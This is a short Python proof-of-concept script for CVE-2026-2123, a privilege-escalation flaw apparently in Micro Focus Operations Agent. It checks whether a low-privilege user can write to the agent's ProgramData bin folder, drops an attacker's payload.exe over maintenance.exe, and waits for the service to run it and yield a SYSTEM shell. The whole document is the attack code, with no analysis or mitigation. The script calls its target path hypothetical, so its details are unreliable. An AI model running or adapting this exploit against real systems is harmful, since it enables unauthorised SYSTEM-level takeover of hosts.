CVE-2026-2123

# PoC for CVE-2026-2123 # This script demonstrates the vulnerability by placing a malicious executable # in a writable location monitored by Operations Agent. import os import shutil # Vulnerable path (Hypothetical path based on description) VULNERABLE_PATH = "C:\\ProgramData\\Micro Focus\\Operations Agent\\bin\\maintenance.exe" MALICIOUS_PAYLOAD = "C:\\temp\\payload.exe" def exploit(): print(f"[*] Attempting to write payload to {VULNERABLE_PATH}...") try: # Check if the path is writable by the current low-priv user if os.access(os.path.dirname(VULNERABLE_PATH), os.W_OK): shutil.copy(MALICIOUS_PAYLOAD, VULNERABLE_PATH) print("[+] Payload successfully dropped.") print("[*] Waiting for Operations Agent service to trigger the executable.") print("[*] If successful, a shell with SYSTEM privileges should be obtained.") else: print("[-] Path is not writable. Exploit failed.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

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